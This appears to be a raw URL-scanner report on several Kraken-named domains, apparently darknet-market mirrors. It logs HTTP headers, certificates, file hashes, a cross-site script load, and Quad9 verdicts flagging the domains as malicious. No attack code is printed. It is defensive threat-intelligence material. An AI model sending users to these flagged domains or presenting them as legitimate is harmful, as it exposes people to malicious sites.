Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 302 Found
date: Thu, 19 Jun 2025 06:28:56 GMT
server: cloudflare
nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
location: /
cf-cache-status: DYNAMIC
report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=S%2BTYAVcW2Njlh7XGuggEf2vmMkMSDPyUeQtildIRQTy%2Bl3tXrJP1Q7PziNjlMmLWGPgs8s2D1SHJEmPw7kOPSKMYt%2FJrnHwvyQ4tLQ%3D%3D"}]}
set-cookie: scheck=1; HttpOnly; Secure; Path=/
cf-ray: 9520f818d9d55687-OSL
alt-svc: h3=":443"; ma=86400
X-Firefox-Spdy: h2

GET kraken39at.com/

104.21.32.84

200 OK

10 kB

URL User Request GET
kraken39at.com/
IP
104.21.32.84:443
ASN
#13335 CLOUDFLARENET

Certificate
IssuerGoogle Trust Services
Subjectkraken39at.com
Fingerprint04:82:4A:5D:49:C9:7D:28:4F:92:40:A2:25:75:9A:42:12:4F:70:36
ValiditySun, 01 Jun 2025 22:38:22 GMT - Sat, 30 Aug 2025 23:36:57 GMT

File type
HTML document, Unicode text, UTF-8 text, with very long lines (3227)
Size
10 kB (10393 bytes)
Hash
3fd4383b443d5a94c7a25e3ca8474ce3
5289e8a6ad80a7e8dd00cc80666a3651263ba2d6
7be01811e99b839498818ab0eff806188661fab901761c77e14ef11be09e4e52

Detections

Analyzer	Verdict	Alert
Quad9 DNS	malicious	Sinkholed

HTTP Headers

GET / HTTP/1.1
Host: kraken39at.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Cookie: scheck=1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 200 OK
date: Thu, 19 Jun 2025 06:28:56 GMT
content-type: text/html;charset=UTF-8
server: cloudflare
nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
vary: accept-encoding
report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=GX5%2F00b2swtMCRaoZTR%2FWIHldGToULQSXUH0LBRc0dzYSiVnP%2Bv6ClSN2hKjvpjQFgv6Uy0ftiq6D3TeTx3yeg1BsrgCTSkikTEKkA%3D%3D"}]}
cf-cache-status: DYNAMIC
content-encoding: br
set-cookie: ses=j4CPVyWb4dn3saUbJH; HttpOnly; Secure; Path=/
cf-ray: 9520f81cee715687-OSL
alt-svc: h3=":443"; ma=86400
X-Firefox-Spdy: h2

GET captcha.kraken50at.com/login?return=js.client&&se_referrer=&default_keyword=KRAKEN&landing_url=kraken39at.com%2F&name=_XrYQpTLT9DSVktyS&host=https%3A%2F%2Fcaptcha.kraken50at.com%2Flogin

104.21.16.1

200 OK

3.5 kB

URL GET
captcha.kraken50at.com/login?return=js.client&&se_referrer=&default_keyword=KRAKEN&landing_url=kraken39at.com%2F&name=_XrYQpTLT9DSVktyS&host=https%3A%2F%2Fcaptcha.kraken50at.com%2Flogin
IP
104.21.16.1:443
ASN
#13335 CLOUDFLARENET

Requested by
https://kraken39at.com/
Certificate
IssuerGoogle Trust Services
Subjectkraken50at.com
FingerprintC9:18:C3:55:8F:85:F6:FE:D9:98:AD:8D:64:C2:8E:F5:B3:44:48:06
ValidityWed, 04 Jun 2025 02:06:46 GMT - Tue, 02 Sep 2025 03:05:35 GMT

File type
JavaScript source, ASCII text, with very long lines (3530), with no line terminators
Size
3.5 kB (3530 bytes)
Hash
2c2de377e01c28ce4c7af2c6e2efe9ae
fa50f55376b8ebaa86b0f5b32311d790b75ee519
a1a2bfda1262a5e09dea750d00cd9a51c3ce2823129380be6ddcfb33b4ca8e6b

HTTP Headers

GET /login?return=js.client&&se_referrer=&default_keyword=KRAKEN&landing_url=kraken39at.com%2F&name=_XrYQpTLT9DSVktyS&host=https%3A%2F%2Fcaptcha.kraken50at.com%2Flogin HTTP/1.1
Host: captcha.kraken50at.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://kraken39at.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 200 OK
date: Thu, 19 Jun 2025 06:28:56 GMT
content-type: application/javascript; charset=utf-8
content-length: 1423
server: cloudflare
nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
cache-control: no-cache, no-store, must-revalidate
content-encoding: gzip
expires: Thu, 19 Jun 2025 06:28:56 GMT
vary: Accept-Encoding
access-control-allow-origin: *
cf-cache-status: DYNAMIC
report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=kkdXNthoobjL%2FZ8dL2Ws%2Bhu0dRZ1xa908KxFSVSRdHdDSNklwo2lIdnIfEMEQ4kUHhx82lXwmwHZG7Cvtgri61sgHznnRXq2ExJqJhFmSWbYaifo"}]}
cf-ray: 9520f81faa8456b4-OSL
alt-svc: h3=":443"; ma=86400
X-Firefox-Spdy: h2

GET kraken39at.com/favicon.ico

104.21.32.84

200 OK

598 B

URL GET
kraken39at.com/favicon.ico
IP
104.21.32.84:443
ASN
#13335 CLOUDFLARENET

Requested by
https://kraken39at.com/
Certificate
IssuerGoogle Trust Services
Subjectkraken39at.com
Fingerprint04:82:4A:5D:49:C9:7D:28:4F:92:40:A2:25:75:9A:42:12:4F:70:36
ValiditySun, 01 Jun 2025 22:38:22 GMT - Sat, 30 Aug 2025 23:36:57 GMT

File type
PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Size
598 B (598 bytes)
Hash
88dce50c34a848e75b6c7d916711e6b9
0355f55c57c14900477cc886f3345b1e898fe28e
4f0b7e5217318eedc1b42ca1ce5e128c649c97082912f1d800eec1325207ad96

Detections

Analyzer	Verdict	Alert
Quad9 DNS	malicious	Sinkholed

HTTP Headers

GET /favicon.ico HTTP/1.1
Host: kraken39at.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://kraken39at.com/
Cookie: scheck=1; ses=j4CPVyWb4dn3saUbJH
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache

HTTP/3 200 OK
date: Thu, 19 Jun 2025 06:28:57 GMT
content-type: image/x-icon
nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ONruj%2FHtsakWJTpngH0AY7GgjHO5kn4PhLX9V1aplWAoIdPnHUCwXzUor5a0eOYFYA8r367Nz3rFeyUHtjxfhmM2TaT0IaGgprNliPP4XNQHHeZODT%2BIajZyR4JMUfvcag%3D%3D"}],"group":"cf-nel","max_age":604800}
last-modified: Tue, 11 Mar 2025 21:15:16 GMT
etag: W/"67d0a7e4-256"
cache-control: max-age=14400
cf-cache-status: MISS
content-encoding: br
cf-ray: 9520f820e9ce56b4-OSL
server: cloudflare
vary: Accept-Encoding
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=QUIC&rtt=2704&min_rtt=553&rtt_var=1749&sent=68&recv=93&lost=0&retrans=0&sent_bytes=6761&recv_bytes=5857&delivery_rate=660512&ss_exit_cwnd=0&ss_exit_reason=0&cwnd=15498&unsent_bytes=0&cid=2f5cd7cce5f34e35&ts=852&inflight_dur=30&x=44"

GET kraken38-at.com/

104.21.32.1

200 OK

10 kB

URL User Request GET
kraken38-at.com/
IP
104.21.32.1:443
ASN
#13335 CLOUDFLARENET

Certificate
IssuerGoogle Trust Services
Subjectkraken38-at.com
Fingerprint00:DB:A7:C3:5D:EA:58:33:70:2C:89:6E:F2:2A:2F:32:D2:19:1E:E1
ValidityTue, 03 Jun 2025 22:31:18 GMT - Mon, 01 Sep 2025 23:29:45 GMT

File type
HTML document, Unicode text, UTF-8 text, with very long lines (3229)
Size
10 kB (10397 bytes)
Hash
74230b31cedcdab266ea3b624bae63c1
058b4fea99584465d7d4442941a39380f042e2ac
787e000f30f8ff6c4af51ce1d3abf820eb97fb3260f3dc62a6b8a3ea00ac92d0

HTTP Headers

GET / HTTP/1.1
Host: kraken38-at.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Upgrade-Insecure-Requests: 1
Connection: keep-alive
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 200 OK
date: Thu, 19 Jun 2025 06:28:55 GMT
content-type: text/html;charset=UTF-8
server: cloudflare
nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
vary: accept-encoding
report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=5SvYgT9g7myojMizbrMCUPkaNT%2FgVvSCQ5iKKmcsjqVV9UIHkAbgI4BsLCUHNg3tB3CdHt03Lf73SvVL%2F8p8WiaFGl%2BJEV0QZMwPpGU%3D"}]}
cf-cache-status: DYNAMIC
content-encoding: br
set-cookie: scheck=1; HttpOnly; Secure; Path=/
cf-ray: 9520f810fbee0b55-OSL
alt-svc: h3=":443"; ma=86400
X-Firefox-Spdy: h2

GET captcha.kraken50at.com/login?return=js.client&&se_referrer=&default_keyword=KRAKEN&landing_url=kraken38-at.com%2F&name=_XrYQpTLT9DSVktyS&host=https%3A%2F%2Fcaptcha.kraken50at.com%2Flogin

104.21.48.1

200 OK

3.6 kB

URL GET
captcha.kraken50at.com/login?return=js.client&&se_referrer=&default_keyword=KRAKEN&landing_url=kraken38-at.com%2F&name=_XrYQpTLT9DSVktyS&host=https%3A%2F%2Fcaptcha.kraken50at.com%2Flogin
IP
104.21.48.1:443
ASN
#13335 CLOUDFLARENET

Requested by
https://kraken38-at.com/
Certificate
IssuerGoogle Trust Services
Subjectkraken50at.com
FingerprintC9:18:C3:55:8F:85:F6:FE:D9:98:AD:8D:64:C2:8E:F5:B3:44:48:06
ValidityWed, 04 Jun 2025 02:06:46 GMT - Tue, 02 Sep 2025 03:05:35 GMT

File type
JavaScript source, ASCII text, with very long lines (3574), with no line terminators
Size
3.6 kB (3574 bytes)
Hash
e33c83a3cea974a24950523c39752953
9292431c46be37b3df13ba0b72fec021f0f4cb44
600fb2ac65863bfca71e44daca1ab9c041d4204bbba0348fae7fbf469bf2d52c

HTTP Headers

GET /login?return=js.client&&se_referrer=&default_keyword=KRAKEN&landing_url=kraken38-at.com%2F&name=_XrYQpTLT9DSVktyS&host=https%3A%2F%2Fcaptcha.kraken50at.com%2Flogin HTTP/1.1
Host: captcha.kraken50at.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://kraken38-at.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 200 OK
date: Thu, 19 Jun 2025 06:28:55 GMT
content-type: application/javascript; charset=utf-8
content-length: 1453
server: cloudflare
nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
cache-control: no-cache, no-store, must-revalidate
content-encoding: gzip
expires: Thu, 19 Jun 2025 06:28:55 GMT
vary: Accept-Encoding
access-control-allow-origin: *
cf-cache-status: DYNAMIC
report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=YeD9EQwYGTadr59xtyfFXgFFrxfHZR7s%2FKc7h%2FOqjNQ6%2BKEoIACKvM1cDDa9EZvn1KoCuNQVlUfeiyGgWjKIasiYVKtq%2BIp%2FbBS%2BHcbnye%2BYdD8w"}]}
cf-ray: 9520f817293256c0-OSL
alt-svc: h3=":443"; ma=86400
X-Firefox-Spdy: h2

GET kraken38-at.com/captcha

0.0.0.0

0 B

URL GET
kraken38-at.com/captcha
IP
0.0.0.0:0
ASN
#0

Requested by
https://kraken38-at.com/
Certificate
IssuerGoogle Trust Services
Subjectkraken38-at.com
Fingerprint00:DB:A7:C3:5D:EA:58:33:70:2C:89:6E:F2:2A:2F:32:D2:19:1E:E1
ValidityTue, 03 Jun 2025 22:31:18 GMT - Mon, 01 Sep 2025 23:29:45 GMT

File type

Size
0 B (0 bytes)
Hash
d41d8cd98f00b204e9800998ecf8427e
da39a3ee5e6b4b0d3255bfef95601890afd80709
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

HTTP Headers

GET /captcha HTTP/1.1
Host: kraken38-at.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://kraken38-at.com/
DNT: 1
Connection: keep-alive
Cookie: scheck=1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache

GET kraken-zerkalo.org/captcha

104.21.112.1

200 OK

0 B

URL GET
kraken-zerkalo.org/captcha
IP
104.21.112.1:443
ASN
#13335 CLOUDFLARENET

Requested by
https://kraken38-at.com/
Certificate
IssuerGoogle Trust Services
Subjectkraken-zerkalo.org
Fingerprint49:09:CE:23:69:D3:EE:98:D6:47:B5:F3:17:EB:20:E2:6F:F5:7B:BD
ValidityTue, 13 May 2025 00:20:55 GMT - Mon, 11 Aug 2025 01:19:32 GMT

File type

Size
0 B (0 bytes)
Hash
d41d8cd98f00b204e9800998ecf8427e
da39a3ee5e6b4b0d3255bfef95601890afd80709
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

HTTP Headers

GET /captcha HTTP/1.1
Host: kraken-zerkalo.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://kraken38-at.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 200 OK
date: Thu, 19 Jun 2025 06:28:55 GMT
content-type: text/html; charset=utf-8
server: cloudflare
nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
cache-control: no-cache, no-store, must-revalidate
expires: Thu, 19 Jun 2025 06:28:55 GMT
vary: Accept-Encoding
access-control-allow-origin: *
cf-cache-status: DYNAMIC
report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=LQH5sZiLyhu2AY5Ws9elCGxslgfJ1q8xCaYuvqcpSH1t%2BDXnJZz%2FCEfNmCEU%2BDU1S7iRypQ7%2F934J9iiVszyBztG2XUSzRHg6ZHOCXq3LKs%3D"}]}
content-encoding: br
cf-ray: 9520f8173824b512-OSL
alt-svc: h3=":443"; ma=86400
X-Firefox-Spdy: h2

GET kraken39at.com/captcha

104.21.32.84

200 OK

16 kB

URL GET
kraken39at.com/captcha
IP
104.21.32.84:443
ASN
#13335 CLOUDFLARENET

Requested by
https://kraken39at.com/
Certificate
IssuerGoogle Trust Services
Subjectkraken39at.com
Fingerprint04:82:4A:5D:49:C9:7D:28:4F:92:40:A2:25:75:9A:42:12:4F:70:36
ValiditySun, 01 Jun 2025 22:38:22 GMT - Sat, 30 Aug 2025 23:36:57 GMT

File type
ASCII text, with very long lines (16048), with no line terminators
Size
16 kB (16048 bytes)
Hash
316f4742aedc1514a7610ef1040b4618
5b4018da10242d4b10e1b795e5bbe113c5b72569
b69143fb73f00613dc873e398d29f4d69f85cce7882d59d9de6bdefefb6a3b52

Detections

Analyzer	Verdict	Alert
Quad9 DNS	malicious	Sinkholed

HTTP Headers

GET /captcha HTTP/1.1
Host: kraken39at.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://kraken39at.com/
DNT: 1
Connection: keep-alive
Cookie: scheck=1; ses=j4CPVyWb4dn3saUbJH
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache

HTTP/3 200 OK
date: Thu, 19 Jun 2025 06:28:57 GMT
content-type: text/plain
nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PHyN0fLiUiMylnbKGlbWotUF9FUivEwAZ7i6ScvOdT7h%2F7D85rYnaTMZCNTKbFRolT30%2BloiMm3JBqewf9t2YouGhmXZZGqc52yF3cvNk01zbKeYzeDIJlEfz%2BShZ0vSdg%3D%3D"}],"group":"cf-nel","max_age":604800}
cache-control: no-cache
set-cookie: cookref=https%3A%2F%2Fkraken39at.com%2F;Path=/;HttpOnly;Secure
cf-cache-status: DYNAMIC
content-encoding: br
cf-ray: 9520f81f79be56b4-OSL
server: cloudflare
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=QUIC&rtt=2525&min_rtt=553&rtt_var=1670&sent=70&recv=94&lost=0&retrans=0&sent_bytes=8065&recv_bytes=5901&delivery_rate=734912&ss_exit_cwnd=0&ss_exit_reason=0&cwnd=16802&unsent_bytes=0&cid=2f5cd7cce5f34e35&ts=1236&inflight_dur=32&x=44"

GET kraken-zerkalo.org/captcha

104.21.64.1

200 OK

0 B

URL GET
kraken-zerkalo.org/captcha
IP
104.21.64.1:443
ASN
#13335 CLOUDFLARENET

Requested by
https://kraken39at.com/
Certificate
IssuerGoogle Trust Services
Subjectkraken-zerkalo.org
Fingerprint49:09:CE:23:69:D3:EE:98:D6:47:B5:F3:17:EB:20:E2:6F:F5:7B:BD
ValidityTue, 13 May 2025 00:20:55 GMT - Mon, 11 Aug 2025 01:19:32 GMT

File type

Size
0 B (0 bytes)
Hash
d41d8cd98f00b204e9800998ecf8427e
da39a3ee5e6b4b0d3255bfef95601890afd80709
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

HTTP Headers

GET /captcha HTTP/1.1
Host: kraken-zerkalo.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: https://kraken39at.com/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

HTTP/2 200 OK
date: Thu, 19 Jun 2025 06:28:56 GMT
content-type: text/html; charset=utf-8
server: cloudflare
nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
cache-control: no-cache, no-store, must-revalidate
expires: Thu, 19 Jun 2025 06:28:56 GMT
vary: Accept-Encoding
access-control-allow-origin: *
cf-cache-status: DYNAMIC
report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=AZjw75r30%2BwUPS1EFHdQ86RSN%2Fxfx77vNjOs7oggjWMvw%2FRh9e2JkYJcAa4jKy6lAqnampNpk9p%2B9Wyf2SBzqScv%2B3ss25rT6RIn%2BslJhYk%3D"}]}
content-encoding: br
cf-ray: 9520f81f898b5687-OSL
alt-svc: h3=":443"; ma=86400
X-Firefox-Spdy: h2

Report Overview

Domain Summary

Related reports

Network Intrusion Detection Systems

Suricata /w Emerging Threats Pro

Threat Detection Systems

Public InfoSec YARA rules

OpenPhish

PhishTank

Quad9 DNS

ThreatFox

JavaScript (10)

URL

IP

ASN

Introduced by

Embedded in HTML

Observations

Hash

URL

IP

ASN

Introduced by

Embedded in HTML

Observations

Hash

URL

IP

ASN

Introduced by

Embedded in HTML

Observations

Hash

URL

IP

ASN

Introduced by

Embedded in HTML

Observations

Hash

URL

IP

ASN

Introduced by

Embedded in HTML

Observations

Hash

URL

IP

ASN

Introduced by

Embedded in HTML

Observations

Hash

Observations

Hash

Observations

Hash

Observations

Hash

Observations

Hash

HTTP Transactions (10)

URL User Request GET

IP

ASN

Certificate

File type

Size

Hash

Detections

HTTP Headers

URL User Request GET

IP

ASN

Certificate

File type

Size

Hash

Detections